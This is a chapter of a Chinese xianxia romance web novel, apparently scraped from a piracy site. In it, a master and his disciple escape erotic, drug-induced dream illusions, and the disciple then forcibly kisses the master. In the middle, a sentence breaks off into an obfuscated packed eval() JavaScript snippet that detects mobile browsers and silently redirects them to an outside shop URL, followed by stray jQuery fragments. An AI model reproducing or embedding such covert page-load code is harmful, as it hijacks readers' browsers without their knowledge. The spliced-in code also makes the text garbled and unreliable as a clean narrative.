文趣网 > 其他小说 > 徒儿为何还不黑化 > 16. 第十六章
    那人逆光而来,带着冬夜里冷冽的寒气,上前便稳稳托住了江酒的腰身。这人掌心微凉,对此时的江酒来说无异于沙漠中突降的甘霖,江酒本能地便贴了上去,然而残存的理智却让他猛得一惊,又向后闪躲:“……走开!我……我中了玉露融,不要碰我……否则,你必死无呃……”尾音被一声失控的呜咽堵在喉间。

    那人对他的警告置若罔闻,非但没有松开,反而带着一种不容抵抗的力度,更坚定地握住了他汗湿的手掌,耳边的呢喃江酒已经听不真切,似乎是在小声安抚,说:“别怕。”

    十指相扣的那一瞬,似乎有细微的电流自二人交缠的指尖炸开,随后流窜四肢百骸,直抵最幽邃的隐秘之地,激起一阵灭顶的酥麻。

    “啊……”破碎的呻吟再次从咬紧的牙关溢出,那声音简直不堪入耳!江酒从未如此痛恨自己,羞耻地别开脸,握起拳头就朝自己胸口锤去。可那人却温柔地用手包住他的拳头,朝反方向自己的胸膛砸了一下,“别伤了自己,要打就打我吧。”

    此时的江酒浑身无力,拳头哪里还有力气?软绵绵地挥在对方的胸膛,指腹下的□□鲜活炙热,让他不自觉地想要贴上去,可他不愿耽于药效,用力咬紧了下唇,血珠沁了出来,脑中终于恢复了一丝摇摇欲坠的清明。

    男人语气有些不悦,“都说了别伤了自己,怎么这么不乖?”他伸手托住江酒的下巴,又用拇指强行撬开牙关,塞入口中,最后附耳说道:“放心吧,不过是玉露融而已,你不会死的。”他停了片刻,轻声一笑,又说道:“我也不会。”

    腰间繁复的系带被灵巧的指尖轻易挑开,丝滑的锦缎沿着肩头悄然滑落,男人的手带着近乎虔诚的温柔,轻轻地抚过他光洁的腰背,一路向下,所过之处,肌肤战栗。江酒颤抖着喟叹出声,随即被更深的羞耻与空虚感淹没。

    衣衫褪尽的瞬间,他猛地一口咬在男人宽阔的肩头,力道不轻,混杂着抗拒与难以言喻的依赖。

    血腥味在舌尖弥漫,让江酒脑中恢复一丝清明:不对,不对!眼前一切皆是梦魇,此地不是真正的天一宗藏宝阁,自己亦不是真的中了玉露融,无需沉溺欢愉……亦无需……

    狠厉的念头如电光闪过!

    江酒从博物架上抹起一把匕首,用力朝自己的胸口狠狠一扎,剧痛让神智瞬间回笼一线!他几乎是凭着本能,手腕翻转凌空画了一个手诀。

    “破——”

    *

    待顾倾睁开眼,他愕然发现眼前的场景并非下榻的周府客房,而是一片郁郁苍苍的密林。鼻端闻到了浓重的血腥气,举目四望,满地竟都是妖兽尸骸,支离破碎的断肢堆砌在一起,像是头奇形怪状的异兽,污血已将大片土地都染得暗红,恍若罗刹地狱。

    顾倾脚边恰有一具女妖尸身,他抬脚一踢让尸身翻了个面,露出头上别着的一朵曼陀罗。顾倾一下子回想起来了此处是何时何地,这是十五月圆那夜,自己屠杀妖兽时的场景。

    顾倾眉心倏地紧蹙:为何竟回到了此地?

    他感觉不大妙,下意识地去寻找江酒身影,听到身后传来衣袍被风吹动的飒飒声响,连忙转过身去,满眼担心地问道:“师尊!你怎么样?”

    江酒的反应却十分古怪,他全然不提方才周府里的种种,眼眸只沉沉扫过遍地的妖兽尸骸,厉声道:“此地妖兽,素与玄机阁井水不犯河水。”他目光一凛刺向顾倾,“你又何必妄动杀伐,赶尽杀绝?”

    顾倾心头虽疑窦丛生,然而面对师尊威仪,几乎是本能地垂下眼帘,他不敢去看那张脸上可能浮现的失望和盛怒,喉头发紧,低声道:“……师尊,是弟子的错。”

    “既知错便受罚!”江酒不由分说,腰间的怀霜剑已化形而出,数道剑光破空而来,直逼顾倾周身要害!

    顾倾瞳孔骤缩,寒意从脚底直冲头顶,面对怀霜剑凌厉剑锋,却只是闭上眼,咬着牙不闪不避!

    “叮叮叮!”数声清脆锐响几乎同时炸开,身侧却只有风过,并无痛意。顾倾睁开眼,发现怀霜剑影并未刺入他的身体,而是精准地擦着他的头颅、颈侧、腰际掠过,钉入他身后粗粝的树干之中。

    他整个人被牢牢禁锢在这方寸之地,动弹不得,心中慌乱,不解地望向江酒:“师尊?”

    江酒背手信步,缓缓走来,素白的衣摆拂过暗红的土地,竟如同被晕染了似的,自衣角起整件衣服都化成了艳丽的红。他停在顾倾面前咫尺之距,微微仰首,那双平日里清冷如寒潭的眸子此刻却笼着一层薄雾,眼波流转间,漾开几分近乎妩媚的潋滟风光。

    在顾倾失神的凝视中,修长如玉的食指缓缓抬起,不紧不慢地顺着他绷紧的颈侧一路蜿蜒向上,划过剧烈滚动的喉结,继而挑起他的下巴,最后搭在了他的嘴唇上。

    “孽徒……”江酒眼角弯弯,声音压得极低,慵懒得似羽毛搔刮着心尖,温热的气息若有似无地拂过徒弟的耳廓,“你说,为师……该如何罚你才好呢?”

    顾倾瞬间瞪大了眼睛!

    面前近在咫尺的吐息,指尖悬而未落的挑逗,还有那人眼中摄人心魄的流光……瞬间点燃了顾倾蛰伏于内心深处的欲望之火。

    他猛地朝眼前人伸出手臂,即便怀霜剑的剑影瞬间将他的皮肉划得鲜血淋漓,也想将眼前既敬畏又渴望的身影揽入怀中。然而,江酒却鬼魅般后退半步,让他的手只徒劳地握住了冰冷的空气。

    “乖徒儿,我知道你在想什么。”赤红的身影轻声调笑,“你想要我……”

    顾倾的理智瞬间崩塌,埋藏心底许久的欲望此刻暴露无遗,烧得他眼底一片猩红。神志如沉入沸水,周遭的一切都模糊、融化,仿佛世间的一切都消失不见,唯剩下眼前这抹赤红。

    “顾倾!醒醒!给我醒醒——”急切的呼唤如同穿透浓雾的曦光,越来越响,越来越近。

    是师尊!

    顾倾脑中闪过一丝清明,于是狠狠咬破了舌尖,剧痛之后猛地睁眼,洁白的月光下,映入眸心的是江酒眉心微蹙、面带担忧的脸。

    梦境的余烬尚未熄灭,灼烧灵魂的渴望仍如岩浆般在血脉中奔涌,顾倾骤然伸手扣住江酒的后颈,不容抗拒地将那因惊愕而微张的唇狠狠压向自己!

    “唔——!”江酒脑中轰然一片空白!

    属于顾倾的气息瞬间将他淹没,滚烫的唇舌蛮横地纠缠吮吸,唇齿间血腥味弥漫,双手也不安分地沿着脖颈弧度向下延伸……好似那荒淫的梦魇重演。

    但这可不是梦!

    惊怒在胸腔轰然炸开!江酒猛地屈膝顶开身前压迫的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615049|204736||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    躯体,手掌毫不留情地掴在了顾倾的脸上。

    “啪——”

    顾倾被打得偏过了头,脸颊上迅速浮起清晰的指痕,火辣辣的痛感蔓延开来。这一掌如同冰水兜头浇下,瞬间将顾倾从方才那股失控的燥热中打醒。

    他这才想起打量周围环境,发现眼前并不是周府的客房,分明是后院一片荒芜阴森的角落,方才那妖兽林中活色生香的场景,不过是某种术法作用下而生出的梦魇罢了。而自己,非但没能甄破梦魇脱身而出,还鬼迷心窍地对唤醒自己的师尊做出了那等行径……

    “师尊……我……”顾倾的声音干涩沙哑得厉害,低下头,“方才被梦魇所困,神志不清,这才……”

    “够了,闭嘴。”江酒厉声打断,别扭地别过脸整理凌乱的衣襟。

    一炷香前,江酒挣脱了混乱不堪的梦魇,甫一清醒,便看到身侧同样深陷梦魇的顾倾。少年面颊泛着不自然的潮红,呼吸急促,分明是沉沦于一场旖旎春梦。

    身为师尊,他自然不能坐视弟子被梦魇所困,当即出手将其唤醒,谁曾想……竟引火烧身!

    也不知这逆徒错把自己当成了梦境里的谁!

    简直是,大逆不道!

    偏偏是因梦魇作祟,自己倒也不能多加责备于他,为人师尊,更是堂堂七尺男儿,若是揪着此事不放,斤斤计较,反倒显得自己像被占了多大便宜似的……岂不是徒惹笑话?

    江酒一股郁气堵在胸口无处发泄,可偏偏也不好多说什么,抬起袖子用力地抹了抹自己的嘴唇。

    一旁的顾倾将他的动作看在眼里,顿时眼眶一热,猛地朝他跪了下来,随后“啪!啪!啪!”朝自己的脸上掌掴。

    这几下子可比江酒那一掌狠多了,几巴掌下去脸颊顿时浮出血印,嘴角也破了。他手下依然没停,一下一下朝自己脸上招呼,语气低落:“是我的错,是我冒犯了师尊,请师尊切勿动怒。”

    “你!你听不懂人话?”训斥的话语从咬紧的牙关挤出,可细看之下,江酒的表情却一点也称不上威严,只盛满了愤怒与……一丝狼狈的羞赧。

    这逆徒……只要闭口不提,彼此把方才的事忘了,当做什么都没发生过不就好了?又在这里搞得是哪一出?

    系统的提示音忽然在脑内响起:【恭喜宿主!顾倾黑化值+100!】

    江酒还没反应过来,第二道提示音接连响起:【恭喜宿主!顾倾黑化值+200!】

    紧接着是第三道:【恭喜宿主!顾倾黑化值+300!】

    ……

    眼见捷报频传,黑化值涨得比滚雪球滚得还快,江酒心里却直发毛,他看着跪在自己的面前接连扇自己耳光的顾倾,眼神空洞洞的,活像是被抽了魂,任谁也能看出状态有问题啊!能这样一直刷黑化值是好,但可别把人刷出问题了吧?

    比如……再忽然跳起捅他一剑?

    或者是冷不丁地抹了自己的脖子?

    “喂!给我停手!”江酒越想越觉得后者的可能性无限接近于立刻就会发生,连忙上手推了顾倾肩头一把,却被对方一把捉住了手。

    顾倾抬头,长睫微湿,黑眼珠似乎比平时大了一圈,黑漉漉地看过来,直直地望进江酒心底,“师尊,你……是不是讨厌我了?”